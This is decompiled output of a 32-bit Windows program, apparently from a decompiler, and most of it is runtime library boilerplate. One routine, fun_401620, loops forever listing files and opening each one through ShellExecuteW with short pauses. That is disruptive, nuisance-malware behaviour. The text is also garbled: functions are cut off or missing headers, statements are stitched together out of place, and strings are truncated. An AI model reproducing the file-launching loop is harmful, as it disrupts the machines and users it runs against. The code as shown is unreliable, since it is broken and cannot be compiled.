int32_t ebp2;
int32_t ebp3;
void fun_408fc1() {
uint32_t eax1;
int32_t ebp2;
uint32_t edx3;
uint32_t eax4;
int32_t ebx5;
uint32_t eax6;
int32_t ebx7;
struct s157 {
signed char[32] pad32;
void** f20;
};
void fun_409376(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
void** v13;
void** v14;
void** esi15;
void* esi16;
void** eax17;
void** v18;
void** eax19;
void** v20;
void** v21;
v13 = reinterpret_cast<void**>(__return_address());
v14 = esi15;
fun_409db6(ecx);
fun_409ff2(ecx, v14, v13, a2, a3, a4, a5, a6, a7, a8, a9);
esi16 = reinterpret_cast<void*>(0);
do {
eax17 = g417274;
v18 = *reinterpret_cast<void***>(reinterpret_cast<int32_t>(esi16) +
reinterpret_cast<unsigned char>(eax17));
fun_40a092(ecx, v18, v14, v13, a2, a3, a4, a5, a6, a7, a8);
eax19 = g417274;
ecx = v18;
v20 = reinterpret_cast<void**>(&(*reinterpret_cast<struct
s157**>(reinterpret_cast<int32_t>(esi16) + reinterpret_cast<unsigned char>(eax19)))->f20);
DeleteCriticalSection(ecx);
esi16 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(esi16) + 4);
} while (!reinterpret_cast<int1_t>(esi16 == 12));
v21 = g417274;
fun_406c46(ecx, v21, v20, v14, v13, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
g417274 = reinterpret_cast<void**>(0);
goto v14;
}
int32_t fun_409c08(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
signed char al12;
int32_t ecx13;
al12 = fun_40767f(ecx, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
ecx13 = 0;
*reinterpret_cast<unsigned char*>(&ecx13) = reinterpret_cast<uint1_t>(al12 == 0);
return ecx13;
}
void fun_409e8b() {
}
void fun_409efc() {
}
int32_t g417298;
void fun_40aaf0() {
int1_t zf1;
zf1 = g417298 == 0;
if (zf1)
goto 0x40ab2b;
}
void fun_40ac00() {
int1_t zf1;
zf1 = g417298 == 0;
if (zf1)
goto 0x40b9fb;
}
void fun_40b1f4() {
int32_t ebp1;
signed char ch2;
int32_t eax3;
int32_t ebp4;
signed char ch5;
int32_t ebp6;
unsigned char dl7;
void fun_40b211() {
int32_t ebp1;
void fun_40b294() {
int32_t ebp1;
void fun_40b2b8() {
__asm__("fstp st0");
__asm__("fstp st0");
__asm__("fld1 ");
return;
}
void fun_40b2f2() {
__asm__("fstp st0");
goto 0x40b506;
}
void fun_40b600() {
__asm__("fld st0");
__asm__("frndint ");
__asm__("fsubr st1, st0");
__asm__("fxch st0, st1");
__asm__("fchs ");
__asm__("f2xm1 ");
__asm__("fld1 ");
__asm__("faddp st1, st0");
__asm__("fscale ");
__asm__("fstp st1");
return;
}
int32_t fun_40c959() {
int32_t ecx1;
int32_t ebp2;
ecx1 = 0;
*reinterpret_cast<unsigned char*>(&ecx1) =
reinterpret_cast<uint1_t>(***reinterpret_cast<int32_t***>(ebp2 - 20) == 0xc0000005);
return ecx1;
}
fun_40d039(a2, a3);
__asm__("wait ");
__asm__("fnstcw word [ebp+0xffffff5c]");
fun_40b400(ecx);
eax7 = fun_40ceb8(ecx, ebx4, v5, v6);
return eax7;
}
void fun_40d0c0() {
int1_t zf1;
zf1 = g417298 == 0;
if (zf1)
goto 0x40d0fb;
}
void fun_401020() {
void** eax1;
eax1 = reinterpret_cast<void**>(GetSystemMetrics());
g417284 = eax1;
goto 0;
}
void fun_401620() {
int32_t v1;
int32_t ebx2;
int32_t ebx3;
int32_t v4;
int32_t esi5;
int32_t* esp6;
int32_t v7;
int32_t edi8;
int32_t edi9;
void* v10;
int32_t eax11;
void* esp12;
int32_t esi13;
void* v14;
int32_t v15;
int32_t eax16;
void* esp17;
void* esp18;
void* v19;
void* esp20;
int32_t eax21;
v1 = ebx2;
ebx3 = ShellExecuteW;
v4 = esi5;
esp6 =
reinterpret_cast<int32_t*>((reinterpret_cast<uint32_t>(reinterpret_cast<int32_t>(__zero_stack_
offset()) - 4) & 0xfffffff8) - 0x25c - 4 - 4 - 4);
v7 = edi8;
edi9 = FindNextFileW;
while (1) {
v10 = reinterpret_cast<void*>(esp6 + 4);
eax11 = reinterpret_cast<int32_t>(FindFirstFileW("C", v10, v7, v4, v1));
esp12 = reinterpret_cast<void*>(esp6 - 1 - 1 - 1 + 1);
esi13 = eax11;
v14 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp12) + 16);
v15 = esi13;
eax16 = reinterpret_cast<int32_t>(edi9(v15, v14, "C", v10, v7, v4, v1));
esp17 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp12) - 4 - 4 - 4 + 4);
if (eax16) {
do {
esp18 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp17) - 4 - 4 - 4);
v19 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp18) + 72);
ebx3(0, "o", v19, 0, 0, 5, v15, v14, "C", v10, v7, v4, v1);
Sleep(0x2bc, 0, "o", v19, 0, 0, 5, v15, v14, "C", v10, v7, v4, v1);
esp20 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp18) - 4 - 4 - 4 - 4 + 4 -
4 - 4 + 4);
eax21 = reinterpret_cast<int32_t>(edi9(esi13, reinterpret_cast<uint32_t>(esp20) + 16,
0x2bc, 0, "o", v19, 0, 0, 5, v15, v14, "C", v10, v7, v4, v1));
esp17 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp20) - 4 - 4 - 4 + 4);
} while (eax21);
}
FindClose(esi13, v15, v14, "C", v10, v7, v4, v1);
esp6 = reinterpret_cast<int32_t*>(reinterpret_cast<uint32_t>(esp17) - 4 - 4 + 4);
}
}
void fun_40cc04() {
int16_t ax1;
int16_t fpu_status_word2;
void fun_402f70(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void**
a8, void** a9, void** a10, void** a11) {
void** v12;
void** eax13;
void** esi14;
void** eax15;
void*** eax16;
signed char al17;
void** eax18;
void** eax19;
int32_t eax20;
void** eax21;
signed char al22;
int32_t eax23;
v12 = reinterpret_cast<void**>(__return_address());
fun_404c4e(2);
eax13 = fun_4035cd(2);
fun_4055ff(ecx, eax13, 2, esi14, v12, a2, a3, a4);
eax15 = fun_4035c6(ecx, eax13, 2);
eax16 = fun_405730(eax13, 2);
*eax16 = eax15;
al17 = fun_40338c(ecx, 1, eax13, 2);
if (al17 && (fun_403845(), fun_403519(ecx, fun_403871), eax18 = fun_4035c9(), eax19 =
fun_405032(ecx, eax18, fun_403871, v12), ecx = reinterpret_cast<void**>(fun_403871),
!eax19)) {
fun_4035d3(fun_403871);
eax20 = fun_40362f(fun_403871);
if (eax20) {
fun_404d23(fun_403871, fun_4035c6);
ecx = reinterpret_cast<void**>(fun_4035c6);
}
fun_403603(ecx);
fun_403603(ecx);
fun_4035e2(ecx, v12, a2);
eax21 = fun_4035c6(ecx, v12, a2);
fun_405699(ecx, eax21, v12, a2, a3, a4, a5, a6, a7);
ecx = eax21;
al22 = fun_4035df(ecx);
if (al22) {
fun_405267(ecx, v12, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
}
fun_4035c6(ecx, v12, a2);
eax23 = fun_403793(ecx);
if (!eax23) {
return;
}
}
fun_403647(ecx, 7);
fun_403612(ecx);
goto 7;
}
void** fun_403023(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** eax7;
void** eax8;
fun_4037db();
eax7 = fun_4035c6(ecx, __return_address(), a2);
eax8 = fun_405701(ecx, eax7, __return_address(), a2, a3, a4, a5, a6);
return eax8;
}
struct s159 {
unsigned char f0;
signed char[3] pad4;
int32_t f4;
};
struct s158 {
int32_t f0;
signed char[12] pad16;
int32_t f10;
int32_t f14;
struct s13*** f18;
struct s159* f1c;
};
struct s160 {
signed char[8] pad8;
struct s158* f8;
};
struct s161 {
signed char[4] pad4;
int32_t f4;
};
void fun_40348b() {
}
void fun_403b4f() {
goto 0x403b38;
}
int32_t fun_404120(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6) {
int32_t eax7;
uint32_t ecx8;
void** eax9;
void** v10;
void** v11;
void** v12;
eax7 = 1;
if (reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1 + 4)) & 6) {
ecx8 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2 + 8)) ^
reinterpret_cast<unsigned char>(a2);
eax9 = fun_402f62(ecx8, __return_address(), a1, a2, a3, a4, a5, a6);
v10 = *reinterpret_cast<void***>(eax9 + 12);
v11 = *reinterpret_cast<void***>(eax9 + 16);
v12 = *reinterpret_cast<void***>(eax9 + 20);
fun_404080(v12, v11, v10);
*reinterpret_cast<void***>(a4) = a2;
eax7 = 3;
}
return eax7;
}
void fun_4049d7() {
}
void fun_405cbd() {
}
edi1 = reinterpret_cast<uint32_t*>(0x416e40);
__asm__("ror eax, cl");
eax2 = g416004;
ecx3 = 32;
while (ecx3) {
--ecx3;
*edi1 = eax2;
++edi1;
}
return 1;
}
if (!a1) {
esi2 = reinterpret_cast<uint32_t*>(0x416df0);
do {
if (*esi2) {
if (*esi2 != 0xffffffff) {
v3 = *esi2;
FreeLibrary(v3);
}
*esi2 = 0;
}
++esi2;
} while (!reinterpret_cast<int1_t>(esi2 == 0x416e40));
}
return 1;
}
void** fun_406849(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12);
void** fun_406a67(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10) {
void** eax11;
void** eax12;
int32_t g416ef0;
edi2 = reinterpret_cast<void**>(0x416f00);
esi3 = 0;
do {
eax4 = fun_4063c3(ecx, edi2, 0xfa0, 0);
if (!eax4)
break;
++g417038;
esi3 = esi3 + 24;
edi2 = edi2 + 24;
} while (esi3 < 0x138);
goto addr_407a81_4;
fun_407aa9();
al5 = 0;
addr_407a8f_6:
return al5;
addr_407a81_4:
al5 = 1;
goto addr_407a8f_6;
}
void fun_407c2c() {
}
void** fun_407f3b(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
void** v8;
void** esi9;
uint32_t esi10;
void** eax11;
void** v12;
void** ecx13;
v7 = reinterpret_cast<void**>(__return_address());
v8 = esi9;
esi10 = 0;
do {
eax11 = *reinterpret_cast<void***>(esi10 + 0x417040);
if (eax11) {
v12 = eax11;
eax11 = fun_407b6b(ecx13, v12, v8, v7, a1, a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(esi10 + 0x417040) = reinterpret_cast<void**>(0);
ecx13 = v12;
}
esi10 = esi10 + 4;
} while (esi10 < 0x200);
*reinterpret_cast<signed char*>(&eax11) = 1;
return eax11;
}
eax1 = reinterpret_cast<void**>(GetProcessHeap());
g417250 = eax1;
return static_cast<unsigned char>(reinterpret_cast<uint1_t>(!!eax1));
}
int32_t fun_4092ae(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
void** eax12;
void** esi13;
void** eax14;
int1_t zf15;
void** eax16;
int1_t zf17;
uint32_t edi18;
void** esi19;
void** eax20;
eax12 = g417270;
if (eax12) {
if (reinterpret_cast<signed char>(eax12) >= reinterpret_cast<signed char>(3)) {
addr_4092cd_3:
eax14 = fun_406be9(ecx, eax12, 4, esi13, __return_address(), a2, a3, a4);
g417274 = eax14;
fun_406c46(ecx, 0, eax12, 4, esi13, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11);
zf15 = g417274 == 0;
if (!zf15 || (g417270 = reinterpret_cast<void**>(3), eax16 = fun_406be9(ecx, 3, 4, esi13,
__return_address(), a2, a3, a4), g417274 = eax16, fun_406c46(ecx, 0, 3, 4, esi13,
__return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11), zf17 = g417274 == 0, !zf17)) {
edi18 = 0;
esi19 = reinterpret_cast<void**>(0x4166a8);
do {
fun_4063c3(ecx, esi19 + 32, 0xfa0, 0);
eax20 = g417274;
*reinterpret_cast<void***>(eax20 + edi18 * 4) = esi19;
ecx = reinterpret_cast<void**>((edi18 & 63) * 48);
if
(*reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cas
t<int32_t>(edi18) >> 6) * 4 + 0x417040)) + reinterpret_cast<unsigned char>(ecx) + 24) == -1 ||
(*reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cas
t<int32_t>(edi18) >> 6) * 4 + 0x417040)) + reinterpret_cast<unsigned char>(ecx) + 24) == -2 ||
!*reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cas
t<int32_t>(edi18) >> 6) * 4 + 0x417040)) + reinterpret_cast<unsigned char>(ecx) + 24))) {
*reinterpret_cast<void***>(esi19 + 16) = reinterpret_cast<void**>(0xfffffffe);
}
esi19 = esi19 + 56;
++edi18;
} while (!reinterpret_cast<int1_t>(esi19 == 0x416750));
return 0;
} else {
return -1;
}
} else {
eax12 = reinterpret_cast<void**>(3);
}
} else {
eax12 = reinterpret_cast<void**>(0x200);
}
g417270 = eax12;
goto addr_4092cd_3;
}
eax4 = reinterpret_cast<void*>(0);
edx5 = a3;
while (*edx5) {
++edx5;
__asm__("bts [esp], eax");
}
esi6 = a2;
do {
*reinterpret_cast<signed char*>(&eax4) = *esi6;
if (!*reinterpret_cast<signed char*>(&eax4))
break;
++esi6;
} while (!static_cast<int1_t>(0 >> reinterpret_cast<int32_t>(eax4)));
goto addr_409997_7;
addr_40999a_8:
return eax4;
addr_409997_7:
eax4 = reinterpret_cast<void*>(esi6 - 1);
goto addr_40999a_8;
}
void fun_40978a() {
}
void fun_409e5e() {
}
struct s162 {
signed char[8] pad8;
uint32_t f8;
};
struct s163 {
signed char[8] pad8;
uint32_t f8;
};
void fun_409ee2() {
struct s162* ebp1;
struct s163* ebp2;
g416750 = 0;
ebp1->f8 = ebp2->f8 & 0xffffffbf;
}
void fun_40a175() {
}
void fun_40a867() {
}
void fun_40aab0() {
int1_t zf1;
zf1 = g417298 == 0;
if (zf1)
goto 0x40ab3f;
}
void fun_40ae9f() {
}
void fun_40bcd3() {
int32_t eax1;
eax1 = g416760;
if (eax1 != -1 && eax1 != -2) {
CloseHandle(eax1);
}
return;
}
void fun_40b2ad() {
__asm__("fldln2 ");
}
eax2 = fun_40b391();
__asm__("fstp st0");
__asm__("fstp st0");
if (*reinterpret_cast<signed char*>(&cx)) {
*reinterpret_cast<signed char*>(ebp3 - 0x90) = 2;
__asm__("fld tword [0x4122c0]");
if (eax2 == 1 && *reinterpret_cast<signed char*>(reinterpret_cast<int32_t>(&cx) + 1)) {
__asm__("fchs ");
}
} else {
__asm__("fldz ");
if (eax2 == 1 && *reinterpret_cast<signed char*>(reinterpret_cast<int32_t>(&cx) + 1)) {
__asm__("fchs ");
}
}
return;
}
void fun_40b2f9() {
__asm__("fstp st0");
}
void fun_40b3c5() {
int32_t v1;
void** v2;
int32_t v3;
void** v4;
int32_t eax5;
void fun_40b51f() {
int32_t ebp1;
int32_t ebp2;
int32_t ebp3;
void fun_40b54a() {
int32_t ebp1;
int32_t ebp2;
int32_t ebp3;
void fun_40b574() {
int32_t ebp1;
int32_t ebp2;
int32_t ebp3;
int32_t ebp4;
void fun_40c96c() {
}
void** fun_40cbf0(void** ecx, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
int32_t ebx6;
int32_t v7;
int32_t v8;
void** eax9;
fun_40d039(a2, a3);
fun_40d039(a4, a5);
__asm__("wait ");
__asm__("fnstcw word [ebp+0xffffff5c]");
fun_40b467(ecx);
eax9 = fun_40ceb8(ecx, ebx6, v7, v8);
return eax9;
}
__asm__("wait ");
__asm__("fnstcw word [ebp+0xffffff5c]");
al2 = fun_404cad(ecx);
if (al2) {
__asm__("fst qword [ebp+0xffffff7a]");
}
fun_40b400(ecx);
al6 = fun_40cebf(ecx, ebx3, v4, v5);
return al6;
}
void fun_40d080() {
int1_t zf1;
zf1 = g417298 == 0;
if (zf1)
goto fun_40d10f;
}
void fun_401030() {
void** eax1;
eax1 = reinterpret_cast<void**>(GetSystemMetrics());
g417280 = eax1;
goto 1;
}
struct s164 {
int32_t f0;
void** f4;
};
struct s165 {
int32_t f0;
void** f4;
};
struct s166 {
int32_t f0;
void** f4;
signed char[3] pad8;
void** f8;
signed char[3] pad12;
void** fc;
};
struct s167 {
int32_t f0;
void** f4;
};
void** g416a9c;
struct s168 {
int32_t f0;
void** f4;
};
struct s169 {
int32_t f0;
void** f4;
signed char[3] pad8;
void** f8;
signed char[3] pad12;
void** fc;
signed char[3] pad16;
void** f10;
};
struct s170 {
void** f0;
signed char[3] pad4;
void** f4;
};
struct s171 {
int32_t f0;
void** f4;
signed char[3] pad8;
void** f8;
signed char[3] pad12;
void** fc;
signed char[3] pad16;
void** f10;
signed char[3] pad20;
void** f14;
};
struct s172 {
int32_t f0;
void** f4;
};
struct s173 {
void** f0;
signed char[3] pad4;
void** f4;
signed char[3] pad8;
void** f8;
signed char[3] pad12;
void** fc;
signed char[3] pad16;
void** f10;
signed char[3] pad20;
void** f14;
signed char[3] pad24;
void** f18;
signed char[3] pad28;
void** f1c;
signed char[3] pad32;
void** f20;
signed char[3] pad36;
void** f24;
signed char[3] pad40;
void** f28;
signed char[3] pad44;
void** f2c;
signed char[3] pad48;
void** f30;
signed char[3] pad52;
void** f34;
signed char[3] pad56;
void** f38;
signed char[3] pad60;
void** f3c;
signed char[3] pad64;
void** f40;
signed char[3] pad68;
void** f44;
signed char[3] pad72;
void** f48;
};
struct s174 {
int32_t f0;
void** f4;
signed char[3] pad8;
void** f8;
signed char[3] pad12;
void** fc;
signed char[3] pad16;
void** f10;
signed char[3] pad20;
void** f14;
signed char[3] pad24;
void** f18;
signed char[3] pad28;
void** f1c;
};
struct s175 {
int32_t f0;
void** f4;
};
struct s176 {
void** f0;
signed char[3] pad4;
void** f4;
};
struct s177 {
int32_t f0;
void** f4;
};
struct s178 {
int32_t f0;
void** f4;
signed char[3] pad8;
signed char f8;
};
struct s179 {
signed char[4] pad4;
int32_t f4;
};
esp2 = reinterpret_cast<struct
s164*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(ebp3 - 24)) - 4);
esp2->f0 = 0x403172;
al4 = fun_403798(ecx);
esp5 = &esp2->f4;
if (!al4) {
while (1) {
esp6 = reinterpret_cast<int32_t*>(esp5 - 4);
*esp6 = *reinterpret_cast<int32_t*>(ebp7 - 32);
esp8 = reinterpret_cast<struct s165*>(esp6 - 1);
esp8->f0 = 0x4031b0;
fun_40559b(ecx, esp8->f4);
esp9 = reinterpret_cast<int32_t*>(&esp8->f4 - 4);
*esp9 = 0x4031b6;
fun_40357b(ecx);
esp10 = esp9 + 1 - 1;
*esp10 = 20;
esp11 = esp10 - 1;
*esp11 = 0x414860;
esp12 = reinterpret_cast<struct s166*>(esp11 - 1);
esp12->f0 = 0x403041;
fun_4038a0(ecx, esp12->f4, esp12->f8, esp12->fc);
esp13 = reinterpret_cast<int32_t*>(&esp12->f4 - 4);
*esp13 = 1;
esp14 = reinterpret_cast<struct s167*>(esp13 - 1);
esp14->f0 = 0x403048;
al15 = fun_403353(ecx, esp14->f4);
esp16 = &esp14->f4;
ecx = *esp16;
esp17 = reinterpret_cast<void*>(esp16 + 4);
if (!al15 || (bl18 = 0, *reinterpret_cast<signed char*>(ebp19 - 25) = 0,
*reinterpret_cast<uint32_t*>(ebp20 - 4) = 0, esp21 =
reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(esp17) - 4), *esp21 = 0x40305f, al22 =
fun_403321(ecx), esp17 = reinterpret_cast<void*>(esp21 + 1), *reinterpret_cast<signed
char*>(ebp23 - 36) = al22, eax24 = g416a9c, ecx = reinterpret_cast<void**>(1), eax24 == 1)) {
esp25 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(esp17) - 4);
*esp25 = 7;
esp26 = reinterpret_cast<struct s168*>(esp25 - 1);
esp26->f0 = 0x4031a2;
fun_403647(ecx, esp26->f4);
esp27 = &esp26->f4;
} else {
if (eax24) {
bl18 = 1;
*reinterpret_cast<signed char*>(ebp28 - 25) = 1;
} else {
g416a9c = reinterpret_cast<void**>(1);
esp29 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(esp17) - 4);
*esp29 = 0x40e200;
esp30 = reinterpret_cast<struct s168*>(esp29 - 1);
esp30->f0 = 0x40e1e8;
esp31 = reinterpret_cast<struct s169*>(reinterpret_cast<int32_t>(esp30) - 4);
esp31->f0 = 0x40308b;
eax32 = fun_40530e(1, esp31->f4, esp31->f8, esp31->fc, esp31->f10);
esp33 = reinterpret_cast<struct s170*>(&esp31->f4 + 4);
ecx34 = esp33->f0;
if (eax32)
goto addr_403091_8;
esp35 = reinterpret_cast<int32_t*>(&esp33->f4 - 4);
*esp35 = 0x40e1e4;
esp36 = reinterpret_cast<struct s165*>(esp35 - 1);
esp36->f0 = 0x40e1c4;
esp37 = reinterpret_cast<struct s171*>(reinterpret_cast<int32_t>(esp36) - 4);
esp37->f0 = 0x4030b1;
fun_4052b2(ecx34, esp37->f4, esp37->f8, esp37->fc, esp37->f10, esp37->f14);
esp38 = &esp37->f4 + 4;
ecx = *esp38;
esp17 = reinterpret_cast<void*>(esp38 + 4);
g416a9c = reinterpret_cast<void**>(2);
}
esp39 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(esp17) - 4);
*esp39 = *reinterpret_cast<int32_t*>(ebp40 - 36);
esp41 = reinterpret_cast<struct s168*>(esp39 - 1);
esp41->f0 = 0x4030cc;
fun_4034a7(ecx, esp41->f4);
esp42 = &esp41->f4;
ecx = *esp42;
esp43 = reinterpret_cast<int32_t*>(esp42 + 4 - 4);
*esp43 = 0x4030d2;
eax44 = fun_40363b(ecx);
esp45 = reinterpret_cast<void*>(esp43 + 1);
if (*reinterpret_cast<void***>(eax44) && (esp46 =
reinterpret_cast<void***>(reinterpret_cast<int32_t>(esp45) - 4), *esp46 = eax44, esp47 =
reinterpret_cast<struct s172*>(esp46 - 4), esp47->f0 = 0x4030e0, al48 = fun_403413(ecx,
esp47->f4), esp49 = &esp47->f4, ecx = *esp49, esp45 = reinterpret_cast<void*>(esp49 + 4),
!!al48)) {
esi50 = *reinterpret_cast<void***>(eax44);
esp51 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(esp45) - 4);
*esp51 = reinterpret_cast<void**>(0);
esp52 = reinterpret_cast<struct s172*>(esp51 - 4);
esp52->f0 = 2;
esp53 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(esp52) - 4);
*esp53 = reinterpret_cast<void**>(0);
ecx = esi50;
esp54 = reinterpret_cast<int32_t*>(esp53 - 4);
*esp54 = 0x4030f3;
image_base_(ecx);
esp55 = esp54 + 1 - 1;
*esp55 = 0x4030f5;
esi50(ecx);
esp45 = reinterpret_cast<void*>(esp55 + 1);
}
esp56 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(esp45) - 4);
*esp56 = reinterpret_cast<void**>(0x4030fa);
eax57 = fun_403641(ecx);
esp58 = reinterpret_cast<void*>(esp56 + 4);
if (*reinterpret_cast<void***>(eax57) && (esp59 = reinterpret_cast<struct
s173*>(reinterpret_cast<int32_t>(esp58) - 4), esp59->f0 = eax57, esp60 =
reinterpret_cast<struct s174*>(reinterpret_cast<int32_t>(esp59) - 4), esp60->f0 = 0x403106,
al61 = fun_403413(ecx, esp60->f4), esp62 = &esp60->f4, ecx = *esp62, esp58 =
reinterpret_cast<void*>(esp62 + 4), !!al61)) {
esp63 = reinterpret_cast<struct s173*>(reinterpret_cast<int32_t>(esp58) - 4);
esp63->f0 = *reinterpret_cast<void***>(eax57);
esp64 = reinterpret_cast<struct s174*>(reinterpret_cast<int32_t>(esp63) - 4);
esp64->f0 = 0x403112;
fun_4055b1(ecx, esp64->f4, esp64->f8, esp64->fc, esp64->f10, esp64->f14,
esp64->f18, esp64->f1c);
esp65 = &esp64->f4;
ecx = *esp65;
esp58 = reinterpret_cast<void*>(esp65 + 4);
}
esp66 = reinterpret_cast<struct s173*>(reinterpret_cast<int32_t>(esp58) - 4);
esp66->f0 = reinterpret_cast<void**>(0x403118);
ax67 = fun_403762(ecx, esp66->f4, esp66->f8, esp66->fc, esp66->f10, esp66->f14,
esp66->f18, esp66->f1c, esp66->f20, esp66->f24, esp66->f28, esp66->f2c, esp66->f30,
esp66->f34, esp66->f38, esp66->f3c, esp66->f40, esp66->f44, esp66->f48);
esp68 = reinterpret_cast<int32_t*>(&esp66->f4 - 4);
*esp68 = reinterpret_cast<int32_t>("VPWh");
eax69 = fun_40526c(ecx);
esp70 = reinterpret_cast<uint32_t*>(esp68 + 1 - 1);
*esp70 = ax67;
esp71 = reinterpret_cast<void***>(esp70 - 1);
*esp71 = eax69;
esp72 = esp71 - 4;
*esp72 = reinterpret_cast<void**>(0);
esp73 = reinterpret_cast<int32_t*>(esp72 - 4);
*esp73 = 0x400000;
esp74 = esp73 - 1;
*esp74 = 0x40312d;
eax75 = fun_401060(ecx);
esi76 = eax75;
esp77 = reinterpret_cast<struct s175*>(esp74 + 4 + 1 - 1);
esp77->f0 = 0x403134;
al78 = fun_403798(ecx);
esp27 = &esp77->f4;
if (al78)
break;
}
esp79 = reinterpret_cast<struct s176*>(esp27 - 4);
esp79->f0 = esi76;
esp80 = reinterpret_cast<struct s177*>(reinterpret_cast<int32_t>(esp79) - 4);
esp80->f0 = 0x4031a8;
fun_4055e9(ecx, esp80->f4);
esp5 = &esp80->f4;
}
} else {
if (!*reinterpret_cast<signed char*>(ebp81 - 25)) {
*reinterpret_cast<int32_t*>(esp5 - 4) = 0x403181;
fun_40557d(ecx);
}
*reinterpret_cast<int32_t*>(ebp82 - 4) = -2;
goto addr_40318b_19;
}
if (!bl18) {
esp83 = reinterpret_cast<struct s176*>(esp27 - 4);
esp83->f0 = reinterpret_cast<void**>(0x403141);
fun_40558c(ecx);
esp27 = &esp83->f4;
}
esp84 = reinterpret_cast<struct s176*>(esp27 - 4);
esp84->f0 = reinterpret_cast<void**>(0);
esp85 = reinterpret_cast<struct s177*>(reinterpret_cast<int32_t>(esp84) - 4);
esp85->f0 = 1;
esp86 = reinterpret_cast<struct s178*>(reinterpret_cast<int32_t>(esp85) - 4);
esp86->f0 = 0x403149;
fun_4034c4(ecx, esp86->f4, esp86->f8);
*reinterpret_cast<int32_t*>(ebp87 - 4) = -2;
addr_40318b_19:
g0 = *reinterpret_cast<void***>(ebp88 - 16);
goto ebp89->f4;
addr_403091_8:
*reinterpret_cast<int32_t*>(ebp90 - 4) = -2;
goto addr_40318b_19;
}
int32_t fun_4037e7(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** esi6;
void** edi7;
void** esi8;
void** ebp9;
void*** eax10;
void** esi11;
void*** eax12;
esi6 = *reinterpret_cast<void***>(a2);
if (!reinterpret_cast<int1_t>(*reinterpret_cast<void***>(esi6) == 0xe06d7363) ||
(!reinterpret_cast<int1_t>(*reinterpret_cast<void***>(esi6 + 16) == 3) ||
*reinterpret_cast<void***>(esi6 + 20) != 0x19930520 && (*reinterpret_cast<void***>(esi6 + 20)
!= 0x19930521 && (*reinterpret_cast<void***>(esi6 + 20) != 0x19930522 &&
*reinterpret_cast<void***>(esi6 + 20) != 0x1994000)))) {
return 0;
} else {
eax10 = fun_403be7(ecx, edi7, esi8, ebp9, __return_address(), a2);
*eax10 = esi6;
esi11 = *reinterpret_cast<void***>(a2 + 4);
eax12 = fun_403bf0(ecx, edi7, esi8, ebp9, __return_address(), a2);
*eax12 = esi11;
fun_405c91(ecx, edi7, esi8, ebp9, __return_address(), a2, a3, a4, a5);
}
}
void** fun_406849(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
void** v13;
void** ebp14;
void** eax15;
v13 = ebp14;
if (a2) {
fun_40686a(ecx, a2, v13, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9);
eax15 = fun_406c46(ecx, a2, a2, v13, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11, a12);
}
return eax15;
}
void fun_408979() {
}
void fun_40772b() {
}
v3 = reinterpret_cast<int32_t>(__return_address());
__asm__("fst qword [esp]");
if ((v4 & 0x7ff00000) == 0x7ff00000) {
__asm__("fld qword [0x412384]");
__asm__("fxch st0, st1");
__asm__("fscale ");
__asm__("fstp st1");
__asm__("fld st0");
__asm__("fabs ");
__asm__("fcomp qword [0x412374]");
__asm__("wait ");
ax5 = fpu_status_word6;
if (!(*reinterpret_cast<uint1_t*>(reinterpret_cast<int32_t>(&ax5) + 1) |
*reinterpret_cast<uint1_t*>(reinterpret_cast<int32_t>(&ax5) + 1))) {
__asm__("fmul qword [0x412394]");
}
} else {
if (*reinterpret_cast<void**>(&v3) == 0x27f) {
addr_40b738_6:
goto a2;
} else {
if (reinterpret_cast<uint16_t>(*reinterpret_cast<void**>(&v3)) & 32 || !(fpu_status_word7
& 32)) {
__asm__("fldcw word [esp]");
goto addr_40b738_6;
}
}
}
if (edx8 == 29) {
fun_40b790(ecx, *reinterpret_cast<void**>(&v3));
goto a2;
} else {
fun_40b7a7(ecx, *reinterpret_cast<void**>(&v3));
goto a2;
}
}
ecx4 = a3;
if (!ecx4)
goto addr_40af0a_2;
esi5 = a1;
edi6 = a2;
ecx7 = ecx4;
do {
ah8 = *esi5;
al9 = *edi6;
if (!ah8)
break;
if (!al9)
break;
++esi5;
